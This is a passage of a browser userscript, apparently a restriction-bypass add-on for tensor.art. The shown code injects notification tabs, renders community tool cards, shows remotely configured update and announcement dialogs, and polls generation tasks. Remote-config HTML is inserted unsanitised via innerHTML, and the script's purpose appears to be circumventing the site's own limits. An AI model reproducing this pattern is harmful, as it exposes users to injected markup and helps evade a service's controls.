        ownerRow.appendChild(vipIcon);
      }
      // Badge tooltips on hover
      if (badges.length) {
        const badgesRow = document.createElement('div');
        badgesRow.style.cssText = 'display:flex; gap:3px; margin-left:4px;';
        badges.forEach(badge => {
          if (!badge.icon) return;
          const bImg = document.createElement('img');
          bImg.src = badge.icon;
          bImg.style.cssText = 'width:16px; height:16px; border-radius:3px; cursor:pointer;';
          bImg.title = badge.name || '';
          badgesRow.appendChild(bImg);
        });
        ownerRow.appendChild(badgesRow);
      }
      body.appendChild(ownerRow);
    }

    // Stats row
    const statsRow = document.createElement('div');
    statsRow.style.cssText = `display:flex; align-items:center; gap:12px; font-size:11px; color:${colors.textSecondary}; margin-bottom:10px; flex-wrap:wrap;`;
    if (tool.run_count != null || tool.statistic?.runCount != null) {
      const rc = tool.run_count ?? tool.statistic?.runCount ?? 0;
      statsRow.innerHTML += `<span title="Runs"><i class="fas fa-play" style="margin-right:3px; color:#6366f1;"></i>${Number(rc).toLocaleString()}</span>`;
    }
    if (tool.star_count != null || tool.statistic?.starCount != null) {
      const sc = tool.star_count ?? tool.statistic?.starCount ?? 0;
      statsRow.innerHTML += `<span title="Stars"><i class="fas fa-star" style="margin-right:3px; color:#f59e0b;"></i>${Number(sc).toLocaleString()}</span>`;
    }
    const recCount = tool.recommended_count ?? tool.shareCount ?? 0;
    statsRow.innerHTML += `<span title="Recommendations"><i class="fas fa-thumbs-up" style="margin-right:3px; color:#10b981;"></i>${Number(recCount).toLocaleString()}</span>`;
    if (tool.score != null) {
      statsRow.innerHTML += `<span title="Score"><i class="fas fa-chart-line" style="margin-right:3px; color:#0ea5e9;"></i>${Number(tool.score ?? 0).toLocaleString()}</span>`;
    }
    if (usageCount > 0) {
      statsRow.innerHTML += `<span title="Times you generated with this tool" style="color:#34d399;"><i class="fas fa-check-circle" style="margin-right:3px;"></i>Used ${usageCount}×</span>`;
    }
    if (updatedAt) {
      statsRow.innerHTML += `<span style="margin-left:auto;"><i class="fas fa-clock" style="margin-right:3px;"></i>${updatedAt}</span>`;
    }
    body.appendChild(statsRow);

    // Action buttons
    const actionsRow = document.createElement('div');
    actionsRow.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap;';

    const useBtn = document.createElement('a');
    useBtn.href = `https://tensor.art/template/${encodeURIComponent(tool.workflowTemplateId)}`;
    useBtn.target = '_blank';
    useBtn.rel = 'noopener noreferrer';
    useBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 14px; border-radius:9px; background:${colors.primary}; color:#fff; font-size:12px; font-weight:700; text-decoration:none; cursor:pointer; border:none;`;
    useBtn.innerHTML = '<i class="fas fa-arrow-up-right-from-square"></i> Use';
    actionsRow.appendChild(useBtn);

    const upBtn = document.createElement('button');
    upBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 11px; border-radius:9px; background:${colors.success}1a; color:${colors.success}; font-size:11px; cursor:pointer; border:1px solid ${colors.success}40; transition:background 0.15s;`;
    upBtn.innerHTML = `<i class="fas fa-thumbs-up"></i> ${tool.upvotes ?? 0}`;
    upBtn.title = 'Upvote';
    upBtn.onmouseenter = () => { upBtn.style.background = `${colors.success}33`; };
    upBtn.onmouseleave = () => { upBtn.style.background = `${colors.success}1a`; };
    upBtn.onclick = async () => {
      try {
        await communityRateTool(tool.workflowTemplateId, 1);
        showToast('Upvoted!', 'success');
        communityToolsCache = null;
        if (isNotificationsPage) renderCommunityNotificationsPage(); else refreshCommunityTab?.();
      } catch (e) { showToast('Rate failed: ' + (e?.message || e), 'error'); }
    };
    actionsRow.appendChild(upBtn);

    const downBtn = document.createElement('button');
    downBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 11px; border-radius:9px; background:${colors.error}14; color:${colors.error}; font-size:11px; cursor:pointer; border:1px solid ${colors.error}33; transition:background 0.15s;`;
    downBtn.innerHTML = `<i class="fas fa-thumbs-down"></i> ${tool.downvotes ?? 0}`;
    downBtn.title = 'Downvote';
    downBtn.onmouseenter = () => { downBtn.style.background = `${colors.error}26`; };
    downBtn.onmouseleave = () => { downBtn.style.background = `${colors.error}14`; };
    downBtn.onclick = async () => {
      try {
        await communityRateTool(tool.workflowTemplateId, -1);
        showToast('Downvoted.', 'info');
        communityToolsCache = null;
        if (isNotificationsPage) renderCommunityNotificationsPage(); else refreshCommunityTab?.();
      } catch (e) { showToast('Rate failed: ' + (e?.message || e), 'error'); }
    };
    actionsRow.appendChild(downBtn);

    if (isOwn) {
      const recLabel = document.createElement('span');
      recLabel.style.cssText = `display:inline-flex; align-items:center; gap:4px; padding:7px 11px; border-radius:9px; background:${colors.primary}1a; color:${colors.primary}; font-size:11px; border:1px solid ${colors.primary}40;`;
      recLabel.innerHTML = '<i class="fas fa-check"></i> Recommended by you';
      actionsRow.appendChild(recLabel);
    }

    body.appendChild(actionsRow);
    card.appendChild(body);
    container.appendChild(card);
  }

  let refreshCommunityTab = null; // set by floating panel renderer

  /** Count how many cached tasks used a given workflowTemplateId */
  function _countTemplateUsage(templateId) {
    if (!templateId) return 0;
    const tid = String(templateId);
    let count = 0;
    for (const [, task] of taskMap) {
      if (task?.workflowTemplateInfo?.workflowTemplateId === tid) count++;
    }
    // Also scan localStorage task cache
    try {
      const raw = localStorage.getItem(TASK_CACHE_KEY);
      if (raw) {
        const cached = JSON.parse(raw);
        if (Array.isArray(cached)) {
          cached.forEach(t => { if (t?.workflowTemplateInfo?.workflowTemplateId === tid) count++; });
        }
      }
    } catch { /* ignore */ }
    return count;
  }

  // ── Tab injection + loop ─────────────────────────────────────────────────────

  function injectNotificationsPageFreeInternetTab() {
    if (!/\/notifications/i.test(window.location.pathname)) return false;
    const runtime = getRemoteRuntimeConfig();
    const notificationsCfg = runtime.notifications || {};
    if (!notificationsCfg.enabled || !notificationsCfg.injectNotificationsPageTab) return false;

    const tabsWrapper = document.querySelector('div.n-tabs-nav-scroll-content div.n-tabs-wrapper');
    if (!tabsWrapper) return false;

    _hookNativeNotificationTabs(tabsWrapper);

    if (tabsWrapper.querySelector('[data-name="FREEINTERNET"]')) {
      // If page loaded with ?type=FREEINTERNET and not yet activated
      if (!currentNotificationsTab && new URLSearchParams(location.search).get('type') === 'FREEINTERNET') {
        _activateCustomNotificationsTab('FREEINTERNET', renderFreeInternetNotificationsPage, tabsWrapper);
      }
      return true;
    }

    const count = getRemoteNotificationEntries().length;

    const wrapper = document.createElement('div');
    wrapper.className = 'n-tabs-tab-wrapper';
    const pad = document.createElement('div');
    pad.className = 'n-tabs-tab-pad';
    const tab = document.createElement('div');
    tab.className = 'n-tabs-tab';
    tab.setAttribute('data-name', 'FREEINTERNET');
    tab.innerHTML = `<span class="n-tabs-tab__label"><div class="relative">FreeInternet ${count ? `<span class="absolute top--10 right--10 text-12 lh-16 fw-400 text-#fff px-4 rd-19 bg-red">${count}</span>` : ''}</div></span>`;

    tab.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      _activateCustomNotificationsTab('FREEINTERNET', renderFreeInternetNotificationsPage, tabsWrapper);
    };

    wrapper.appendChild(pad);
    wrapper.appendChild(tab);
    tabsWrapper.appendChild(wrapper);
    return true;
  }

  function injectNotificationsPageCommunityTab() {
    if (!settings.communityShareEnabled) return false;
    if (!/\/notifications/i.test(window.location.pathname)) return false;

    const tabsWrapper = document.querySelector('div.n-tabs-nav-scroll-content div.n-tabs-wrapper');
    if (!tabsWrapper) return false;

    _hookNativeNotificationTabs(tabsWrapper);

    if (tabsWrapper.querySelector('[data-name="COMMUNITY"]')) {
      if (!currentNotificationsTab && new URLSearchParams(location.search).get('type') === 'COMMUNITY') {
        _activateCustomNotificationsTab('COMMUNITY', renderCommunityNotificationsPage, tabsWrapper);
      }
      return true;
    }

    const wrapper = document.createElement('div');
    wrapper.className = 'n-tabs-tab-wrapper';
    const pad = document.createElement('div');
    pad.className = 'n-tabs-tab-pad';
    const tab = document.createElement('div');
    tab.className = 'n-tabs-tab';
    tab.setAttribute('data-name', 'COMMUNITY');
    tab.innerHTML = `<span class="n-tabs-tab__label"><div class="relative">Community</div></span>`;

    tab.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      _activateCustomNotificationsTab('COMMUNITY', renderCommunityNotificationsPage, tabsWrapper);
    };

    wrapper.appendChild(pad);
    wrapper.appendChild(tab);
    // Insert before FreeInternet tab if it exists, else append
    const fiWrapper = tabsWrapper.querySelector('[data-name="FREEINTERNET"]')?.closest('.n-tabs-tab-wrapper');
    if (fiWrapper) tabsWrapper.insertBefore(wrapper, fiWrapper);
    else tabsWrapper.appendChild(wrapper);
    return true;
  }

  function startNotificationInjectionLoop() {
    const runtime = getRemoteRuntimeConfig();
    const notificationsCfg = runtime.notifications || {};
    const enabled = notificationsCfg.enabled !== false;

    if (!enabled) {
      if (notificationInjectionInterval) {
        clearInterval(notificationInjectionInterval);
        notificationInjectionInterval = null;
      }
      return;
    }

    const intervalMs = Math.max(200, Number(notificationsCfg.scanIntervalMs) || 200);
    if (notificationInjectionInterval) {
      clearInterval(notificationInjectionInterval);
      notificationInjectionInterval = null;
    }

    notificationInjectionInterval = setInterval(() => {
      injectNotificationDropdownItem();
      injectNotificationsPageFreeInternetTab();
      injectNotificationsPageCommunityTab();
      // Only re-render if our custom tab is active AND host has been cleared by Vue
      if (currentNotificationsTab === 'FREEINTERNET') {
        const host = _getNotificationsHost();
        if (host && !host.querySelector('[data-bypass-notifications-feed]')) {
          renderFreeInternetNotificationsPage();
        }
      } else if (currentNotificationsTab === 'COMMUNITY') {
        const host = _getNotificationsHost();
        if (host && !host.querySelector('[data-bypass-community-feed]')) {
          renderCommunityNotificationsPage();
        }
      }
    }, intervalMs);
  }

  function startProfileMenuWatcher() {
    if (profileMenuObserver || profileMenuInterval) return;

    const targetNode = document.body || document.documentElement;
    if (!(targetNode instanceof Node)) {
      const retry = () => startProfileMenuWatcher();
      if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', retry, { once: true });
      } else {
        setTimeout(retry, 50);
      }
      return;
    }

    profileMenuObserver = new MutationObserver(() => {
      injectProfileMenuItem();
    });
    profileMenuObserver.observe(targetNode, { childList: true, subtree: true });
    profileMenuInterval = setInterval(() => {
      injectProfileMenuItem();
    }, 250);
  }

  function compareVersions(v1, v2) {
    // Simple semver comparison (returns 1 if v1 > v2, -1 if v1 < v2, 0 if equal)
    const parts1 = v1.replace(/[^0-9.]/g, '').split('.').map(Number);
    const parts2 = v2.replace(/[^0-9.]/g, '').split('.').map(Number);

    for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
      const p1 = parts1[i] || 0;
      const p2 = parts2[i] || 0;
      if (p1 > p2) return 1;
      if (p1 < p2) return -1;
    }
    return 0;
  }

  function processUpdates(config) {
    if (!config?.updates || !Array.isArray(config.updates)) return;
    const currentVersion = SCRIPT_VERSION;

    // Find applicable update
    for (const update of config.updates) {
      if (!update.version) continue;

      // Optional: show release notes dialog for the currently installed version
      // (useful for big releases like v2.0.0 where the user already updated)
      if (update.version === currentVersion) {
        const injectionCfg = update.injection || {};
        const showOnInstalled = injectionCfg.show_on_installed === true;
        const dialogEnabled = injectionCfg.dialog_enabled === true;
        const shownKey = `freeBypassShownInstalledUpdate_${update.version}`;
        if (showOnInstalled && dialogEnabled && !localStorage.getItem(shownKey)) {
          showUpdateDialog(update, false);
          localStorage.setItem(shownKey, 'true');
        }
        continue;
      }

      // Compare versions
      // Check if this update is for a newer version
      const isNewer = compareVersions(update.version, currentVersion) > 0;
      if (!isNewer) continue;

      const shownUpdateKey = `freeBypassShownUpdate_${update.version}`;
      const updateAlreadyShown = localStorage.getItem(shownUpdateKey) === 'true';

      console.log('[Update] New version available:', update.version, 'Current:', currentVersion);

      // Persist update state for UI (collapsed button + header message)
      setSharedUpdateState({
        hasUpdate: true,
        required: update.required === true,
        version: update.version || null,
        title: update.title || null,
        downloadUrl: update.download_url || CONFIG_URL,
        messageText: update.message?.text || null
      });

      if (update.required) {
        // Required update: always surface prominently.
        if (update.injection?.block_usage) {
          // Critical update - block all functionality
          showUpdateDialog(update, true);

          // Disable core functionality
          stopAutoCheck();
          stopDomInjectionWatcher();
          stopTaskMonitoring();

          return; // Stop processing other updates
        }

        // Non-blocking required update: show modal dialog (dismissible).
        if (!updateAlreadyShown) {
          showUpdateDialog(update, false);
          localStorage.setItem(shownUpdateKey, 'true');
        }
      } else {
        // Optional update - show notification
        if (!updateAlreadyShown) {
          showUpdateNotification(update);
          localStorage.setItem(shownUpdateKey, 'true');
        }
      }

      break; // Only process first applicable update
    }
  }

  function showUpdateDialog(update, blocking = false) {
    // Prevent duplicates if config is re-applied or multiple triggers fire
    if (document.getElementById('bypass-update-dialog')) return;

    const colors = getThemeColors();
    const overlayBg = settings.inheritTheme ? `var(--mask-primary, rgba(0, 0, 0, ${blocking ? '0.95' : '0.85'}))` : `rgba(0, 0, 0, ${blocking ? '0.95' : '0.85'})`;
    const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
    const dialogBorder = settings.inheritTheme ? colors.border : (blocking ? '#ef4444' : '#6366f1');

    const overlay = document.createElement('div');
    overlay.id = 'bypass-update-dialog';
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: ${overlayBg};
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 99999999;
      backdrop-filter: blur(10px);
      animation: fadeIn 0.3s ease;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${dialogBg};
      border-radius: 16px;
      max-width: 600px;
      width: 90%;
      max-height: 80vh;
      overflow-y: auto;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 2px ${dialogBorder};
      position: relative;
      animation: slideUp 0.4s ease;
    `;

    const content = document.createElement('div');
    content.innerHTML = update.message?.html || `<div style="padding: 20px; text-align: center;"><h2>${update.title}</h2><p>${update.message?.text || 'Update available'}</p></div>`;

    dialog.appendChild(content);

    // Add update button
    const buttonContainer = document.createElement('div');
    buttonContainer.style.cssText = 'padding: 0 24px 24px 24px; display: flex; gap: 12px; justify-content: center;';

    const updateBtn = document.createElement('a');
    updateBtn.href = update.download_url || CONFIG_URL;
    updateBtn.target = '_blank';
    updateBtn.innerHTML = blocking ? '<i class="fas fa-triangle-exclamation"></i> Update Now (Required)' : '<i class="fas fa-download"></i> Download Update';
    updateBtn.style.cssText = `
      background: ${blocking ? 'linear-gradient(135deg, #ef4444 0%, #dc2626 100%)' : 'linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%)'};
      color: white;
      padding: 14px 28px;
      border-radius: 8px;
      text-decoration: none;
      font-size: 15px;
      font-weight: 600;
      transition: all 0.3s;
      display: inline-block;
    `;
    updateBtn.onmouseover = () => updateBtn.style.transform = 'translateY(-2px)';
    updateBtn.onmouseout = () => updateBtn.style.transform = 'translateY(0)';
    buttonContainer.appendChild(updateBtn);

    if (!blocking) {
      const closeBtn = document.createElement('button');
      closeBtn.innerHTML = '✕ Later';
      closeBtn.style.cssText = `
        background: rgba(255, 255, 255, 0.1);
        color: #cbd5e1;
        padding: 14px 28px;
        border: 1px solid rgba(255, 255, 255, 0.2);
        border-radius: 8px;
        cursor: pointer;
        font-size: 15px;
        font-weight: 600;
        transition: all 0.3s;
      `;
      closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.15)';
      closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.1)';
      closeBtn.onclick = () => document.body.removeChild(overlay);
      buttonContainer.appendChild(closeBtn);
    }

    dialog.appendChild(buttonContainer);
    overlay.appendChild(dialog);

    const style = document.createElement('style');
    style.textContent = `
      @keyframes fadeIn {
        from { opacity: 0; }
        to { opacity: 1; }
      }
      @keyframes slideUp {
        from { opacity: 0; transform: translateY(30px); }
        to { opacity: 1; transform: translateY(0); }
      }
    `;
    overlay.appendChild(style);

    document.body.appendChild(overlay);

    if (blocking) {
      // Prevent closing for critical updates
      overlay.onclick = (e) => e.stopPropagation();
    }
  }

  function showUpdateNotification(update) {
    if (!update.injection) return;

    // Check if user dismissed this version
    const dismissedKey = `freeBypassDismissedUpdate_${update.version}`;
    if (localStorage.getItem(dismissedKey)) return;

    if (update.injection.dialog_enabled) {
      showUpdateDialog(update, false);
      return;
    }

    if (update.injection.banner_enabled && update.injection.targets?.length > 0) {
      // Inject into page using dynamic selectors
      const currentUrl = window.location.href;

      for (const target of update.injection.targets) {
        // Check if we're on the right page
        if (target.page_pattern && !new RegExp(target.page_pattern).test(currentUrl)) {
          continue;
        }

        const targetEl = document.querySelector(target.selector);
        if (!targetEl) continue;

        const banner = document.createElement('div');
        banner.className = 'bypass-update-banner';
        banner.style.cssText = `
          background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%);
          padding: 16px 20px;
          border-radius: 12px;
          box-shadow: 0 4px 12px rgba(99, 102, 241, 0.4);
          position: relative;
          ${target.style || ''}
        `;

        const contentDiv = document.createElement('div');
        contentDiv.innerHTML = update.message?.html || `<div style="color: white;"><strong>${update.title}</strong></div>`;
        banner.appendChild(contentDiv);

        // Add close button
        const closeBtn = document.createElement('button');
        closeBtn.innerHTML = '✕';
        closeBtn.style.cssText = `
          position: absolute;
          top: 12px;
          right: 12px;
          background: rgba(255, 255, 255, 0.2);
          color: white;
          border: none;
          width: 24px;
          height: 24px;
          border-radius: 50%;
          cursor: pointer;
          font-size: 14px;
          transition: all 0.3s;
        `;
        closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.3)';
        closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.2)';
        closeBtn.onclick = () => {
          banner.remove();
          localStorage.setItem(dismissedKey, 'true');
        };
        banner.appendChild(closeBtn);

        // Add update link
        const updateLink = document.createElement('a');
        updateLink.href = update.download_url || CONFIG_URL;
        updateLink.target = '_blank';
        updateLink.innerHTML = '<i class="fas fa-download"></i> Update Now';
        updateLink.style.cssText = `
          display: inline-block;
          margin-top: 12px;
          padding: 8px 16px;
          background: white;
          color: #6366f1;
          border-radius: 6px;
          text-decoration: none;
          font-weight: 600;
          font-size: 13px;
          transition: all 0.3s;
        `;
        updateLink.onmouseover = () => updateLink.style.transform = 'translateY(-2px)';
        updateLink.onmouseout = () => updateLink.style.transform = 'translateY(0)';
        contentDiv.appendChild(updateLink);

        // Insert based on position
        if (target.position === 'prepend' || target.position === 'afterbegin') {
          targetEl.insertBefore(banner, targetEl.firstChild);
        } else {
          targetEl.appendChild(banner);
        }

        break; // Only inject once
      }
    }
  }

  function showBlockingDialog(message, linkUrl = null, isError = false) {
    const colors = getThemeColors();
    const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.95))' : 'rgba(0, 0, 0, 0.95)';
    const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
    const dialogBorder = settings.inheritTheme ? colors.border : (isError ? '#ef4444' : '#6366f1');

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: ${overlayBg};
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 99999999;
      backdrop-filter: blur(10px);
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${dialogBg};
      border-radius: 16px;
      padding: 40px;
      max-width: 500px;
      text-align: center;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 2px ${dialogBorder};
    `;

    dialog.innerHTML = `
      <div style="font-size: 48px; margin-bottom: 20px;"><i class="fas ${isError ? 'fa-triangle-exclamation' : 'fa-shield-alt'}"></i></div>
      <h2 style="color: ${isError ? '#ef4444' : colors.primary}; margin-bottom: 16px; font-size: 20px;">${isError ? 'Action Required' : 'Notice'}</h2>
      <p style="color: ${colors.textSecondary}; line-height: 1.8; margin-bottom: 24px;">${message}</p>
    `;

    if (linkUrl) {
      const link = document.createElement('a');
      link.href = linkUrl;
      link.target = '_blank';
      link.innerHTML = 'Learn More';
      link.style.cssText = `
        display: inline-block;
        background: linear-gradient(135deg, ${colors.primary} 0%, ${colors.primaryHover} 100%);
        color: white;
        padding: 12px 24px;
        border-radius: 8px;
        text-decoration: none;
        font-weight: 600;
      `;
      dialog.appendChild(link);
    }

    overlay.appendChild(dialog);
    document.body.appendChild(overlay);
  }

  function processAnnouncements(config) {
    if (!config?.announcements) return;
    const cache = loadAnnouncementCache();
    const runtimeCfg = getRemoteRuntimeConfig(config);
    const ignoreWaitDefault = runtimeCfg.notifications?.ignoreWaitDefault === true;

    const isAnnouncementRequired = (announcement) => {
      if (!announcement) return false;
      if (announcement.required === true) return true;
      if (String(announcement.status || '').toLowerCase() === 'required') return true;
      if (announcement.injection?.block_usage === true) return true;
      if (announcement.injection?.dismissible === false && announcement.type === 'dialog' && announcement.display_type === 'modal') return true;
      const severity = String(announcement.severity || announcement.level || announcement.priority || '').toLowerCase();
      if (severity === 'critical' || severity === 'required') return true;
      const kind = String(announcement.kind || announcement.type || '').toLowerCase();
      if (kind.includes('update') && (announcement.required === true || severity === 'critical')) return true;
      return false;
    };

    for (const announcement of config.announcements) {
      if (announcement.status !== 'published') continue;

      const required = isAnnouncementRequired(announcement);
      // User preference: suppress non-required announcements.
      // Required announcements/updates should always show.
      if (settings.showAnnouncements === false && !required) {
        continue;
      }

      const signature = getAnnouncementSignature(announcement);
      const lastSignature = cache[announcement.id];
      const isChanged = signature && lastSignature !== signature;
      const ignoreWait = announcement.ignoreWait === true || ignoreWaitDefault;
      const runtimeKey = `${announcement.id}:${signature || 'no-signature'}`;

      // If we have a cached signature that matches, we already processed this announcement on a prior load.
      // This helps in cases where the "shown" list fails to persist due to storage quota pressure.
      const seenBySignature = Boolean(lastSignature) && !isChanged;

      // "ignoreWait" means "show immediately when eligible", not "show on every refresh".
      // Always honor show_once across page loads unless the announcement content changed.
      if (announcement.show_once && !isChanged && (shownAnnouncements.has(announcement.id) || seenBySignature)) continue;

      if (ignoreWait && runtimeShownAnnouncements.has(runtimeKey)) continue;
      if (!ignoreWait && !announcement.show_once && !isChanged) continue;

      // Display based on type
      if (announcement.type === 'dialog' && announcement.display_type === 'modal') {
        showAnnouncementDialog(announcement);
      } else if (announcement.type === 'header' && announcement.display_type === 'banner') {
        showAnnouncementBanner(announcement);
      }

      if (ignoreWait) {
        runtimeShownAnnouncements.add(runtimeKey);
      }

      // Mark as shown
      if (signature) {
        cache[announcement.id] = signature;
        saveAnnouncementCache();
      }
      if (announcement.show_once) {
        shownAnnouncements.add(announcement.id);
        safeLocalStorageSet('freeBypassShownAnnouncements', JSON.stringify([...shownAnnouncements]));
      }
    }
  }

  function showAnnouncementDialog(announcement) {
    const colors = getThemeColors();
    const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.85))' : 'rgba(0, 0, 0, 0.85)';
    const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
    const dialogBorder = settings.inheritTheme ? colors.border : 'rgba(99, 102, 241, 0.3)';

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: ${overlayBg};
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 9999999;
      backdrop-filter: blur(8px);
      animation: fadeIn 0.3s ease;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${dialogBg};
      border-radius: 16px;
      max-width: 600px;
      width: 90%;
      max-height: 80vh;
      overflow-y: auto;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 1px ${dialogBorder};
      position: relative;
      animation: slideUp 0.4s ease;
    `;

    const closeBtn = document.createElement('button');
    closeBtn.innerHTML = '✕';
    closeBtn.style.cssText = `
      position: absolute;
      top: 16px;
      right: 16px;
      background: rgba(239, 68, 68, 0.2);
      color: #ef4444;
      border: 1px solid rgba(239, 68, 68, 0.3);
      width: 36px;
      height: 36px;
      border-radius: 50%;
      cursor: pointer;
      font-size: 18px;
      z-index: 10;
      transition: all 0.3s;
    `;
    closeBtn.onmouseover = () => {
      closeBtn.style.background = 'rgba(239, 68, 68, 0.4)';
      closeBtn.style.transform = 'scale(1.1)';
    };
    closeBtn.onmouseout = () => {
      closeBtn.style.background = 'rgba(239, 68, 68, 0.2)';
      closeBtn.style.transform = 'scale(1)';
    };
    closeBtn.onclick = () => document.body.removeChild(overlay);

    const content = document.createElement('div');
    content.style.padding = '40px 32px';
    content.innerHTML = announcement.content.html || `<p>${announcement.content.text}</p>`;

    dialog.appendChild(closeBtn);
    dialog.appendChild(content);

    if (announcement.links && announcement.links.length > 0) {
      const linksContainer = document.createElement('div');
      linksContainer.style.cssText = `
        padding: 0 32px 32px 32px;
        display: flex;
        gap: 12px;
        flex-wrap: wrap;
      `;

      for (const link of announcement.links) {
        const linkBtn = document.createElement('a');
        linkBtn.href = link.url;
        linkBtn.target = '_blank';
        linkBtn.innerHTML = `${link.icon ? `<i class="${link.icon}"></i> ` : ''}${link.label}`;
        linkBtn.style.cssText = `
          background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%);
          color: white;
          padding: 10px 20px;
          border-radius: 8px;
          text-decoration: none;
          font-size: 14px;
          font-weight: 600;
          transition: all 0.3s;
          display: inline-flex;
          align-items: center;
          gap: 8px;
        `;
        linkBtn.onmouseover = () => linkBtn.style.transform = 'translateY(-2px)';
        linkBtn.onmouseout = () => linkBtn.style.transform = 'translateY(0)';
        linksContainer.appendChild(linkBtn);
      }

      dialog.appendChild(linksContainer);
    }

    overlay.appendChild(dialog);

    if (announcement.injection?.dismissible !== false) {
      overlay.onclick = (e) => {
        if (e.target === overlay) document.body.removeChild(overlay);
      };
    }

    const style = document.createElement('style');
    style.textContent = `
      @keyframes fadeIn {
        from { opacity: 0; }
        to { opacity: 1; }
      }
      @keyframes slideUp {
        from { opacity: 0; transform: translateY(30px); }
        to { opacity: 1; transform: translateY(0); }
      }
    `;
    overlay.appendChild(style);

    document.body.appendChild(overlay);
  }

  function showAnnouncementBanner(announcement) {
    const banner = document.createElement('div');
    banner.id = `announcement-banner-${announcement.id}`;
    banner.innerHTML = announcement.content.html || `<strong>${announcement.title}</strong>: ${announcement.content.text}`;

    const baseStyle = announcement.injection?.style || '';
    banner.style.cssText = baseStyle + (baseStyle ? '; ' : '') + `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      z-index: 999998;
      animation: slideDown 0.5s ease;
    `;

    if (announcement.injection?.dismissible !== false) {
      const closeBtn = document.createElement('button');
      closeBtn.innerHTML = '✕';
      closeBtn.style.cssText = `
        position: absolute;
        top: 50%;
        right: 20px;
        transform: translateY(-50%);
        background: rgba(255, 255, 255, 0.2);
        color: white;
        border: none;
        width: 28px;
        height: 28px;
        border-radius: 50%;
        cursor: pointer;
        font-size: 16px;
        transition: all 0.3s;
      `;
      closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.3)';
      closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.2)';
      closeBtn.onclick = () => document.body.removeChild(banner);
      banner.appendChild(closeBtn);
    }

    const style = document.createElement('style');
    style.textContent = `
      @keyframes slideDown {
        from { transform: translateY(-100%); }
        to { transform: translateY(0); }
      }
    `;
    banner.appendChild(style);

    const target = announcement.injection?.selector ? document.querySelector(announcement.injection.selector) : document.body;
    const position = announcement.injection?.position || 'prepend';

    if (position === 'prepend') {
      target.insertBefore(banner, target.firstChild);
    } else {
      target.appendChild(banner);
    }

    if (announcement.injection?.auto_hide_after) {
      setTimeout(() => {
        if (banner.parentElement) {
          banner.style.animation = 'slideUp 0.5s ease';
          setTimeout(() => {
            if (banner.parentElement) document.body.removeChild(banner);
          }, 500);
        }
      }, announcement.injection.auto_hide_after);
    }
  }

  function startTaskMonitoring() {
    if (taskMonitorInterval || !settings.autoTaskDetection) return;

    taskMonitorInterval = setInterval(async () => {
      if (pendingTasks.size === 0) return;

      const taskIds = Array.from(pendingTasks.keys());
      if (taskIds.length === 0) return;

      // Prefer listening via fetch interception, but also poll mget_task
      // so we keep tracking until FINISH even if the page stops requesting.
      if (Date.now() - lastMgetTaskSeenAt > 4000) {
        await pollMgetTaskForPendingTasks();
      }

      // Cleanup stale tasks
      for (const [taskId, taskInfo] of pendingTasks.entries()) {
        if (Date.now() - taskInfo.startTime > 300000) { // 5 minutes timeout
          if (domInjectDebug) console.log(`[TaskMonitor] Removing stale task ${taskId}`);
          pendingTasks.delete(taskId);
        }
      }
    }, 2000);
  }

  function stopTaskMonitoring() {
    if (taskMonitorInterval) {
      clearInterval(taskMonitorInterval);
      taskMonitorInterval = null;
    }
  }

  let lastMgetTaskSeenAt = 0;
  let lastMgetTaskPollAt = 0;
  let mgetTaskRequestMode = 'taskIds';

  function normalizeTasksFromMgetTaskBody(body) {
    const tasksObj = body?.data?.tasks;
    if (!tasksObj || typeof tasksObj !== 'object') return [];
    return Object.values(tasksObj).filter(Boolean);
  }

  async function handleMgetTaskBody(body, sourceLabel = 'mget_task') {
    const tasks = normalizeTasksFromMgetTaskBody(body);
    if (!tasks.length) return;

    cacheTasks(tasks);
    mergeTasksIntoItems(tasks, sourceLabel, { autoShow: settings.autoShowPanel, updateUIAfter: true });

    // Update pending task tracker and trigger bypass/download when finished.
    for (const taskData of tasks) {
      const taskId = String(taskData?.taskId || '');
      if (taskId && pendingTasks.has(taskId)) {
        const info = pendingTasks.get(taskId) || {};
        info.status = taskData?.status || info.status || 'WAITING';
